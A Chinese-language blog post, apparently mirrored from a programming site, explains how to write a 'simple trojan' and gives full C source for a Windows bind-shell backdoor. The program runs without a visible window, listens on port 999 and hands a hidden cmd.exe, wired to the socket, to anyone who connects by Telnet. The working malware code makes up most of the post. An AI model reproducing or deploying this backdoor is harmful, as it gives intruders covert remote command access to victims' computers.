zoukankan      html  css  js  c++  java
  • 一个简单木马程序的实现

    实现一个简单的木马,一般须要client和服务端。为了便于实现,就用Windows自带的Telnet软件远程连接,服务端通过监听某个port提供服务。类似于Telnet服务的后台程序。其服务端编程的基本原理例如以下:

    1)打开一通信通道(绑定某个port)并告知本地主机,它在某一个地址上接收客户请求。

    利用Socket和bind函数实现。

    2)等待客户请求到达该port。利用listen函数实现。

    3)接收到反复服务请求,处理该请求并发送应答信号。

    利用accept函数实现。

    4)返回第二步,接收还有一客户请求。

    5)关闭连接。

    利用closesock函数实现。

    使用到的函数顺序例如以下:

    socket()—>bind()—>listen—>accept()—>closesock()

    实现代码例如以下:

    #pragma comment(lib,"ws2_32.lib")
    #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
    #include <winsock2.h>
    #include <windows.h>
    #define MasterPort 999 //定义监听port
    
    int main()
    {
    	WSADATA WSADa;
    	sockaddr_in SockAddrin;
    	SOCKET CSocket, SSocket;
    	int AddrSize;
    	PROCESS_INFORMATION Processinfo;
    	STARTUPINFO Startupinfo;
    	char szCMDPath[255];
    
    	//配内存资源,初始化数据
    	ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
    	ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
    	ZeroMemory(&WSADa, sizeof(WSADATA));
    
    	//获取CMD路径
    	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
    
    	//载入ws2_32.dll
    	WSAStartup(0x202,&WSADa);
    
    	//设置本地信息和绑定协议,建立socket
    	SockAddrin.sin_family = AF_INET;
    	SockAddrin.sin_addr.s_addr = INADDR_ANY;
    	SockAddrin.sin_port = htons(MasterPort);
    	CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    	//设置绑定断port999
    	bind(CSocket,(sockaddr*)&SockAddrin, sizeof(SockAddrin));
    
    	//设置server监听port
    	listen(CSocket, 1);
    	AddrSize = sizeof(SockAddrin);
    
    	//開始连接远程server。并配置隐藏窗体结构体
    	SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
    	Startupinfo.cb = sizeof(STARTUPINFO);
    	Startupinfo.wShowWindow = SW_HIDE;
    	Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    	Startupinfo.hStdInput = (HANDLE)SSocket;
    	Startupinfo.hStdOutput = (HANDLE)SSocket;
    	Startupinfo.hStdError = (HANDLE)SSocket;
    
    	//创建匿名管道
    	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
    	WaitForSingleObject(Processinfo.hProcess, INFINITE);
    	CloseHandle(Processinfo.hProcess);
    	CloseHandle(Processinfo.hThread);
    
    	//关闭进程句柄
    	closesocket(CSocket);
    	closesocket(SSocket);
    	WSACleanup();
    
    	return 0;
    
    }
    


  • 相关阅读:
    初识spring
    关于导入别人的web项目,tomcat无法显示的问题
    doPost无法跳转显示信息,只能下载文件查看
    socket网络编程
    log日志文件
    第三方模块安装
    __name__ __doc__ __package__
    格式化
    导入模块
    python正则表达式补充
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/5392154.html
Copyright © 2011-2022 走看看